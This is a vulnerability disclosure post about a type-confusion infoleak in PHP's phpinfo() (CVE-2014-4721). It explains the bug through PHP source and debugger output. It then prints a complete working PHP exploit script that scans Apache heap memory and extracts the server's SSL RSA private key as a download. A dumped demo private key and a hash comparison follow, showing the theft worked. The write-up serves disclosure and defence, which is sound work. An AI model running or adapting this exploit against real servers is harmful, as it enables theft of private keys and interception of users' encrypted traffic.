phpinfo() Type Confusion Infoleak Vulnerability and SSL Private Keys
A vulnerability in PHP's phpinfo() function allows PHP scripts to read arbitrary strings from memory.
Introduction
In the last weeks we have spent some time looking into the PHP source code again, because we were working on new versions of Suhosin, our security extension for PHP. During this time we have discovered some security problems in PHP and disclosed them to the PHP security team, after our initial analysis was finished and POC exploits were developed.
Unfortunately the PHP security team did not acknowledge the vulnerabilities or attempt to discuss them, but instead just applied the patches we supplied and released updated versions of PHP 5.4 and PHP 5.5. Unfortunately a security update for PHP 5.3 is not available, although it is the version most affected by the phpinfo() information leak described here. However we already discussed the problem that PHP 5.3 has not received any security updates since December 2013 and how SektionEins can help you with that in another place.
In this post we will detail the phpinfo() type confusion vulnerability that we disclosed to PHP.net and show how it allows a PHP script to steal the private SSL key. We demonstrate this on an Ubuntu 12.04 LTS 32 bit default installation of PHP and mod_ssl. Unfortunately this kind of problem is not considered a security problem by PHP.net and therefore this security vulnerability does not have a CVE name assigned to it, yet.
(Update: On Sunday, July 6th 2014, CVE-2014-4721 was assigned.)
(Update: On Sunday, July 6th 2014, the RedHat Security Team claimed that it is intended behaviour for scripting languages to break out of their VM and have direct access to the process memory and therefore the PHP issue is not a bug: https://bugzilla.redhat.com/show_bug.cgi?id=1116662 - following this argumentation they soon might stop fixing JavaScript vulnerabilities in browsers for the same reason.)
(Update: On Monday, July 7th 2014, the RedHat Security Team now claims in the same bug report that it is and it is not a security vulnerability they might fix in a future update.)
The Vulnerability
The vulnerability in question is located in the PHP source code inside the file /ext/standard/info.c inside the function php_print_info. The vulnerability is located in the handling of the PHP_SELF, PHP_AUTH_TYPE, PHP_AUTH_USER and PHP_AUTH_PW variables as you can see below:
zval **data; SECTION("PHP Variables"); php_info_print_table_start(); php_info_print_table_header(2, "Variable", "Value"); if (zend_hash_find(&EG(symbol_table), "PHP_SELF", sizeof("PHP_SELF"), (void **) &data) != FAILURE) { php_info_print_table_row(2, "PHP_SELF", Z_STRVAL_PP(data)); } if (zend_hash_find(&EG(symbol_table), "PHP_AUTH_TYPE", sizeof("PHP_AUTH_TYPE"), (void **) &data) != FAILURE) { php_info_print_table_row(2, "PHP_AUTH_TYPE", Z_STRVAL_PP(data)); } if (zend_hash_find(&EG(symbol_table), "PHP_AUTH_USER", sizeof("PHP_AUTH_USER"), (void **) &data) != FAILURE) { php_info_print_table_row(2, "PHP_AUTH_USER", Z_STRVAL_PP(data)); } if (zend_hash_find(&EG(symbol_table), "PHP_AUTH_PW", sizeof("PHP_AUTH_PW"), (void **) &data) != FAILURE) { php_info_print_table_row(2, "PHP_AUTH_PW", Z_STRVAL_PP(data)); }
The code above looks up the variables in question in the symbol table and then passes their value to the php_info_print_table_row() function. However it does this without checking first if the variable retrieved is actually a string variable.
To understand the problem in more detail let us look at the definition of a ZVAL (ignoring the GC version) and the Z_STRVAL_PP macro:
typedef union _zvalue_value { long lval; /* long value */ double dval; /* double value */ struct { char *val; int len; } str; HashTable *ht; /* hash table value */ zend_object_value obj; } zvalue_value; struct _zval_struct { /* Variable information */ zvalue_value value; /* value */ zend_uint refcount__gc; zend_uchar type; /* active type */ zend_uchar is_ref__gc; }; #define Z_STRVAL(zval) (zval).value.str.val #define Z_STRVAL_P(zval_p) Z_STRVAL(*zval_p) #define Z_STRVAL_PP(zval_pp) Z_STRVAL(**zval_pp)
As you can see from these definitions accessing the Z_STRVAL of a PHP variable will lookup the pointer to the string directly from the union zvalue_value. Because this is a union for other variable types this string pointer will be filled with different types of data. A PHP integer variable for example will have its value stored in the same position as the pointer of a PHP string variable (in case sizeof(long) == sizeof(void *)). The same is true for the value of floating point variables and the other variable types.
In this case only integer (and maybe double values for Win64) are interesting, because they let us choose an arbitrary string pointer. The following little POC code demonstrates this and will make phpinfo() attempt to output a string starting at the memory address 0x55555555, which usually should result in a crash, because that is an invalid memory position.
There are however some limitations to the strings that are accepted. First of all there is a difference in the way output is generated for SAPIs that support text or html output, as you can see below:
/* {{{ php_info_print_table_row_internal */ static void php_info_print_table_row_internal(int num_cols, const char *value_class, va_list row_elements) { int i; char *row_element; if (!sapi_module.phpinfo_as_text) { php_info_print("<tr>"); } for (i=0; i<num_cols; i++) { if (!sapi_module.phpinfo_as_text) { php_info_printf("<td class=\"%s\">", (i==0 ? "e" : value_class ) ); } row_element = va_arg(row_elements, char *); if (!row_element || !*row_element) { if (!sapi_module.phpinfo_as_text) { php_info_print( "<i>no value</i>" ); } else { php_info_print( " " ); } } else { if (!sapi_module.phpinfo_as_text) { php_info_print_html_esc(row_element, strlen(row_element)); } else { php_info_print(row_element); if (i < num_cols-1) { php_info_print(" => "); } } }
From the code above you can see that in the phpinfo_as_text case of the CLI SAPI it is not possible to distinguish between a 0x00 and a 0x20 byte in the output, because empty strings will be printed as single spaces. This might be a problem for leaking data structures in CLI mode. However in some cases it is possible to distinguish between 0x00 and 0x20 by checking the surrounding strings.
For the other SAPIs that support HTML output the function php_info_print_html_esc() is called, which is defined as below for PHP 5.4 and above:
static int php_info_print_html_esc(const char *str, int len) /* {{{ */ { size_t new_len; int written; char *new_str; TSRMLS_FETCH(); new_str = php_escape_html_entities((unsigned char *) str, len, &new_len, 0, ENT_QUOTES, "utf-8" TSRMLS_CC); written = php_output_write(new_str, new_len TSRMLS_CC); efree(new_str); return written; }
The problem here is that the output of phpinfo() is forced to be UTF-8 no matter what the rest of the system works with. This means that any string that contains invalid UTF-8 characters will be stripped by the php_escape_html_entities() function from the output. This means for PHP 5.4 and PHP 5.5 only valid string content can be leaked, which makes this information leak unusable for leaking sensitive binary data.
However when you go back to the source code of PHP 5.3 you will see a different picture.
PHPAPI void php_info_html_esc_write(char *string, int str_len TSRMLS_DC) { int new_len; char *ret = php_escape_html_entities((unsigned char *)string, str_len, &new_len, 0, ENT_QUOTES, NULL TSRMLS_CC); PHPWRITE(ret, new_len); efree(ret); }
For PHP 5.3 and below the code does not enforce UTF-8 and therefore arbitrary binary content can be leaked, which we will use in the following example to leak the server's private SSL RSA key.
Downloading your SSL private key
Because the reported phpinfo() infoleak mostly affects PHP 5.3 we installed an Ubuntu 12.04 LTS system, which comes with PHP 5.3.10-1ubuntu3.12 by default. We also enabled the mod_ssl Apache2 module and added a virtual host with our own demo SSL cert protected by a demo SSL private RSA key.
We then attached to the running Apache2 processes with a debugger.
root@ubuntu:~# ps -ax | grep apache2 Warning: bad ps syntax, perhaps a bogus '-'? See http://procps.sf.net/faq.html 11039 ? Ss 0:02 /usr/sbin/apache2 -k start 11043 ? S 0:03 /usr/sbin/apache2 -k start 11044 ? S 0:00 /usr/sbin/apache2 -k start 11693 ? S 0:00 /usr/sbin/apache2 -k start 11694 ? S 0:00 /usr/sbin/apache2 -k start 11696 ? S 0:02 /usr/sbin/apache2 -k start 11697 ? S 0:02 /usr/sbin/apache2 -k start 11798 ? S 0:00 /usr/sbin/apache2 -k start 11995 pts/1 S+ 0:00 grep --color=auto apache2 root@ubuntu:~# gdb GNU gdb (Ubuntu/Linaro 7.4-2012.04-0ubuntu2.1) 7.4-2012.04 Copyright (C) 2012 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "i686-linux-gnu". For bug reporting instructions, please see: <http://bugs.launchpad.net/gdb-linaro/>. (gdb) attach 11694 Attaching to process 11694 Reading symbols from /usr/lib/apache2/mpm-prefork/apache2...(no debugging symbols found)...done. ... 0xb76d2424 in __kernel_vsyscall () (gdb)
Once attached we figured out the position of the Apache2 heap.
(gdb) info proc mappings process 11694 Mapped address spaces: Start Addr End Addr Size Offset objfile 0xb5c3c000 0xb63e5000 0x7a9000 0x0 /usr/lib/apache2/modules/libphp5.so 0xb63e5000 0xb63e6000 0x1000 0x7a9000 /usr/lib/apache2/modules/libphp5.so 0xb63e6000 0xb6424000 0x3e000 0x7a9000 /usr/lib/apache2/modules/libphp5.so 0xb6424000 0xb642b000 0x7000 0x7e7000 /usr/lib/apache2/modules/libphp5.so 0xb642b000 0xb649a000 0x6f000 0x0 ... 0xb76f5000 0xb7758000 0x63000 0x0 /usr/lib/apache2/mpm-prefork/apache2 0xb7758000 0xb775a000 0x2000 0x63000 /usr/lib/apache2/mpm-prefork/apache2 0xb775a000 0xb775c000 0x2000 0x65000 /usr/lib/apache2/mpm-prefork/apache2 0xb775c000 0xb775f000 0x3000 0x0 0xb7884000 0xb78c0000 0x3c000 0x0 [heap] 0xb78c0000 0xb7a0f000 0x14f000 0x0 [heap] 0xbf886000 0xbf8a7000 0x21000 0x0 [stack]
The SSL private key will be located in the memory marked as [heap]. Of course restarting Apache2 or rebooting the Ubuntu systems will change the address of this heap, but various restarts and reboots ended with the heap starting in the area 0xb7xxxxxx - 0xb8xxxxxx. This might vary for other installations, however guessing this address is only required if you do not have knowledge of other PHP information leaks that leak the address of the heap. We have to assume a skilled attacker has this capability. But in our case we do not care, because the amount of bruteforcing required to guess a valid heap address in front of the SSL key seems small (around 256 tries).
Once we have figured out an address of the Apache2 heap in front of the SSL key we can then use the script below to steal the system's SSL private key. In fact, in case of a successful attack the browser will offer us the private SSL RSA key as downloadable file.
<?php /* depending on the starting position in the heap this will take a while */ set_time_limit(0); /* set a starting position for the heap scan */ /* script will crash immediately if trying to access illegal memory */ $starthi = 0xb788; if (isset($_GET['start'])) { $starthi = $_GET['start'] + 0; } /* initialize some stuff */ $i = 0; $z = 0; $olddata = ""; $keydata = ""; /* Unfortunately PHP is problematic when it comes to 32bit unsigned numbers - we have to fake it like this */ $PHP_SELF = ($starthi << 16) | $i; while (true) { $data = ""; while (strlen($data) < 4096) { /* perform the infoleak */ ob_start(); @phpinfo(INFO_VARIABLES); $var = ob_get_contents(); ob_get_clean(); /* extract the leaked data from output */ $r = preg_match("|PHP_SELF.</td><td class=\"v\">(.*).</td></tr>|mUs",$var,$match); /* we need to handle the "no value" case */ $var = $match[1]; if ($var == "<i>no value</i>") $var = chr(0); else $var .= chr(0); /* Ohhh and we need to decode the entities added by PHP */ $var = html_entity_decode($var,ENT_QUOTES,"ISO-8859-1"); /* Append leaked data to output */ $data .= $var; $i += strlen($var); /* $i will keep the lower 16 bits and $z the upper 16 bits */ if ($i > 0xffff) $z++; $i = $i & 0xffff; /* recalculate next address */ $PHP_SELF = ($starthi + $z)<<16 | $i; } /* we combine the data with the previous data to handle partial keys */ $check = $olddata . $data; $olddata = $data; $data = $check; /* Now check if we have a key candidate */ $position = strpos($data, "\x30\x82"); if ($position !== false && $position < strlen($data)-1024) { if (substr($data, $position+4, 4) == "\x02\x01\x00\x02") { $length = ord($data[$position+2])*256+ord($data[$position+3])+4; $keydata = substr($data, $position, $length); // Assume an exponent of 0x10001 to really find a RSA key and not a DSA one if (strpos($keydata, "\x01\x00\x01") > 0) break; } } } if (strlen($keydata) == 0) { header("Content-type: text/plain"); die ("Unexpected error!!!"); } header("Content-type: application/octet-stream"); header("Content-Disposition: attachment; filename=\"server_ssl_rsa_privatekey.der\""); echo $keydata;
The image below shows the script in action.
The SSL Key
In order to show how this works we have dumped the original SSL key and compared it against the dump from the PHP script. First the dump of the original key.
root@ubuntu:~# openssl rsa -in /etc/ssl/private/phpdemo.key -text Private-Key: (2048 bit) modulus: 00:b2:52:c1:ce:52:ba:7f:06:70:0d:a2:6b:2d:7a: ca:8c:41:8d:6e:0a:41:73:4c:ab:9f:97:6c:26:3b: 65:4e:fb:60:3c:4c:5e:cc:86:3a:e3:e4:cb:bb:06: 8d:92:a5:8c:65:b2:ef:1e:6e:4f:e0:5e:fb:fd:0c: b5:17:09:a8:b4:e0:89:0d:f7:8d:1a:47:d1:f1:71: c7:26:9d:56:c8:b9:b9:fe:ac:eb:b1:ab:e0:cd:62: 6b:0b:39:a1:b2:e0:3b:a7:cb:fa:c9:73:1b:fe:8b: 79:a1:5c:49:98:36:db:50:e6:5e:6e:a5:3c:a2:9b: e6:4b:ae:6a:c5:98:49:43:91:84:92:34:74:1c:a2: 0f:74:1d:b1:5e:c1:29:59:5c:c9:6b:8d:ea:ba:e9: 55:1a:9a:c7:af:31:22:af:fd:1e:a7:7c:43:d8:64: 02:72:54:1c:e7:4f:8a:7e:a9:19:e7:08:63:e1:92: 1d:2b:b2:79:a4:28:b5:4b:0a:20:bb:8a:6c:9b:06: 27:d3:8d:4b:a5:9e:67:9a:83:4d:42:3f:fe:cf:c7: 05:36:c3:88:20:2d:17:e0:75:46:cf:35:ee:20:28: cb:fa:85:64:31:6f:4e:e2:c5:89:18:24:5b:0b:de: 3d:72:e1:ad:29:1f:5f:35:25:7c:5c:e7:9e:96:f1: 82:61 publicExponent: 65537 (0x10001) privateExponent: 66:ab:79:44:76:a3:43:e1:8c:00:7d:a4:21:c2:51: fe:20:fb:f2:00:5b:a0:ab:e3:20:76:c9:60:d5:cf: c5:82:bb:ec:db:b7:b5:20:0f:a6:08:a4:38:21:54: bf:bb:2b:33:9e:ab:48:25:11:3e:48:d1:e2:e7:3f: 18:6d:8a:41:e2:09:67:0e:41:a2:80:f9:62:7f:34: bf:89:d5:5e:aa:78:69:26:5c:69:a6:61:3f:3f:4c: 0c:61:79:35:09:1f:af:c3:a4:b7:f9:db:83:5a:00: 84:a4:23:07:4d:86:46:74:ec:a7:dd:e1:24:6a:88: 54:c8:ae:56:e8:10:3e:a3:02:a0:d9:15:65:be:3f: a3:13:6a:0d:c0:fc:9e:70:24:a7:c8:1d:be:30:ad: c9:d4:e8:c4:ef:d7:d1:84:ad:90:9a:77:6a:79:82: 2b:9d:59:61:b4:5d:0f:3c:8e:a9:68:24:67:c1:9a: be:3c:f9:11:3f:75:14:40:44:de:6f:09:20:32:a2: 01:8a:11:2d:da:4c:51:13:0c:1f:33:6f:71:0e:c3: b3:8a:14:2f:5b:4f:3f:69:bf:5b:3d:d7:12:37:59: 8f:49:12:b0:f9:b9:12:d8:4a:a8:b2:86:99:3d:46: eb:5b:55:60:21:56:5e:bd:f8:da:97:c3:18:d2:89: c1 prime1: 00:df:3e:cb:d6:39:04:94:f6:54:1f:de:fe:4c:62: cf:40:c0:55:35:3b:f1:80:79:73:06:7f:70:92:ec: cc:25:3d:74:78:34:9d:9a:e9:1e:d1:1b:5a:66:ee: e2:eb:49:21:06:1e:a8:7a:d5:8c:01:88:ae:5c:ff: a5:dc:26:e7:46:46:22:cf:25:30:46:c0:9e:7f:21: e6:88:4d:e6:6c:f1:8c:e9:14:dc:a6:0a:d6:ae:a6: ff:18:9d:0c:cd:8c:ec:14:5f:58:5c:0c:98:ef:6d: bd:69:dc:03:11:e5:a7:fb:33:e9:5f:ae:64:e4:6a: 13:13:16:36:04:75:64:3b:e9 prime2: 00:cc:7c:aa:cf:c3:64:20:5d:1b:24:fa:ca:8f:9f: a1:9d:89:db:59:bb:bd:aa:c7:78:30:0f:61:0e:c2: 61:6d:bf:0d:c2:48:c8:1a:5c:7e:a6:76:ed:d3:a9: c2:ed:1c:d2:ae:7a:37:6d:c1:f3:89:27:c2:d7:8b: fa:55:6d:b7:17:a7:b5:4f:e6:99:84:be:0f:61:e5: d7:2e:c3:99:71:0e:09:3a:a7:65:3b:a4:8a:ab:04: 08:9c:b5:7c:b4:1a:9e:87:f2:8a:e5:4c:5e:31:13: 0a:60:b9:d1:92:8f:2d:0d:15:c4:10:50:5a:b4:c2: 74:09:4c:71:5e:50:99:1f:b9 exponent1: 51:35:66:b0:e6:cc:e3:e3:37:76:e0:87:61:02:10: a2:5d:54:a1:a8:cc:91:0f:9c:e8:20:33:b3:3e:b0: 84:5b:76:a2:c3:81:11:78:fb:dc:d5:36:6d:7b:38: d0:9e:29:85:30:61:d9:4d:15:40:f9:97:73:fd:0b: 38:aa:6e:37:02:0c:67:8d:ff:a1:bd:2f:ea:cf:4a: 2d:0b:29:67:37:f7:2a:52:8c:71:5a:3f:fe:08:81: 83:52:9d:f5:a7:ed:b8:fb:76:09:06:0c:1c:0c:af: 7a:72:ae:2b:34:7f:86:c1:bb:83:32:cd:40:c9:d5: 66:7c:0d:ea:51:49:c5:01 exponent2: 3f:b7:94:ed:fa:3f:47:ca:5b:3b:f1:9d:8e:95:3a: 21:c1:a4:04:d8:f8:27:af:d1:e6:7f:d4:49:6a:0e: 3b:c9:2d:7b:5d:7c:64:a2:6f:a0:65:2c:84:28:c0: a1:6b:ba:c6:3d:34:ea:51:66:16:55:ba:63:b9:ad: 3e:53:5a:9a:d7:5a:2a:d4:7a:ff:9e:cd:62:3e:e1: 07:24:51:ba:a5:9a:00:99:ca:74:84:37:e5:43:f3: 7f:09:1a:1b:70:b3:f7:3e:7f:43:25:c1:af:de:f3: fb:e1:ca:c8:b5:2e:5f:86:69:ba:7f:9f:53:f5:c7: 7c:62:42:6d:16:06:30:99 coefficient: 25:58:30:a7:e6:6a:66:3c:52:a3:ae:2a:e4:fe:66: c3:48:b6:97:d4:a6:ce:f5:60:e5:92:32:f7:e1:61: ff:c0:fb:00:31:9d:eb:cd:e0:09:22:97:8c:23:d2: d9:37:db:f0:4f:d0:74:d4:d1:41:76:b8:24:83:3d: f4:ec:17:3f:b6:3f:67:df:bd:0c:93:64:98:a1:15: e6:63:d9:13:75:00:a7:21:ad:80:fc:18:d2:30:11: d9:76:e9:ad:e1:a2:e4:b4:f8:21:8e:54:8e:3f:16: ff:25:1b:4f:68:de:50:2b:01:6c:01:7a:ab:bd:7b: 03:e5:55:1d:50:31:da:b2 writing RSA key -----BEGIN RSA PRIVATE KEY----- MIIEogIBAAKCAQEAslLBzlK6fwZwDaJrLXrKjEGNbgpBc0yrn5dsJjtlTvtgPExe zIY64+TLuwaNkqWMZbLvHm5P4F77/Qy1FwmotOCJDfeNGkfR8XHHJp1WyLm5/qzr savgzWJrCzmhsuA7p8v6yXMb/ot5oVxJmDbbUOZebqU8opvmS65qxZhJQ5GEkjR0 HKIPdB2xXsEpWVzJa43quulVGprHrzEir/0ep3xD2GQCclQc50+KfqkZ5whj4ZId K7J5pCi1Swogu4psmwYn041LpZ5nmoNNQj/+z8cFNsOIIC0X4HVGzzXuICjL+oVk MW9O4sWJGCRbC949cuGtKR9fNSV8XOeelvGCYQIDAQABAoIBAGareUR2o0PhjAB9 pCHCUf4g+/IAW6Cr4yB2yWDVz8WCu+zbt7UgD6YIpDghVL+7KzOeq0glET5I0eLn PxhtikHiCWcOQaKA+WJ/NL+J1V6qeGkmXGmmYT8/TAxheTUJH6/DpLf524NaAISk IwdNhkZ07Kfd4SRqiFTIrlboED6jAqDZFWW+P6MTag3A/J5wJKfIHb4wrcnU6MTv 19GErZCad2p5giudWWG0XQ88jqloJGfBmr48+RE/dRRARN5vCSAyogGKES3aTFET DB8zb3EOw7OKFC9bTz9pv1s91xI3WY9JErD5uRLYSqiyhpk9RutbVWAhVl69+NqX wxjSicECgYEA3z7L1jkElPZUH97+TGLPQMBVNTvxgHlzBn9wkuzMJT10eDSdmuke 0RtaZu7i60khBh6oetWMAYiuXP+l3CbnRkYizyUwRsCefyHmiE3mbPGM6RTcpgrW rqb/GJ0MzYzsFF9YXAyY7229adwDEeWn+zPpX65k5GoTExY2BHVkO+kCgYEAzHyq z8NkIF0bJPrKj5+hnYnbWbu9qsd4MA9hDsJhbb8NwkjIGlx+pnbt06nC7RzSrno3 bcHziSfC14v6VW23F6e1T+aZhL4PYeXXLsOZcQ4JOqdlO6SKqwQInLV8tBqeh/KK 5UxeMRMKYLnRko8tDRXEEFBatMJ0CUxxXlCZH7kCgYBRNWaw5szj4zd24IdhAhCi XVShqMyRD5zoIDOzPrCEW3aiw4ERePvc1TZtezjQnimFMGHZTRVA+Zdz/Qs4qm43 Agxnjf+hvS/qz0otCylnN/cqUoxxWj/+CIGDUp31p+24+3YJBgwcDK96cq4rNH+G wbuDMs1AydVmfA3qUUnFAQKBgD+3lO36P0fKWzvxnY6VOiHBpATY+Cev0eZ/1Elq DjvJLXtdfGSib6BlLIQowKFrusY9NOpRZhZVumO5rT5TWprXWirUev+ezWI+4Qck UbqlmgCZynSEN+VD838JGhtws/c+f0Mlwa/e8/vhysi1Ll+Gabp/n1P1x3xiQm0W BjCZAoGAJVgwp+ZqZjxSo64q5P5mw0i2l9SmzvVg5ZIy9+Fh/8D7ADGd683gCSKX jCPS2Tfb8E/QdNTRQXa4JIM99OwXP7Y/Z9+9DJNkmKEV5mPZE3UApyGtgPwY0jAR 2XbpreGi5LT4IY5Ujj8W/yUbT2jeUCsBbAF6q717A+VVHVAx2rI= -----END RSA PRIVATE KEY----- root@ubuntu:~# openssl rsa -in /etc/ssl/private/phpdemo.key -text | md5sum writing RSA key 613e653d22bd139744254b4d5a19dbd7 -
And now comparing it against the PHP script dumped key:
$ openssl rsa -in /Users/sesser/Downloads/server_ssl_rsa_privatekey.der -inform DER -text | md5 writing RSA key 613e653d22bd139744254b4d5a19dbd7
Stefan Esser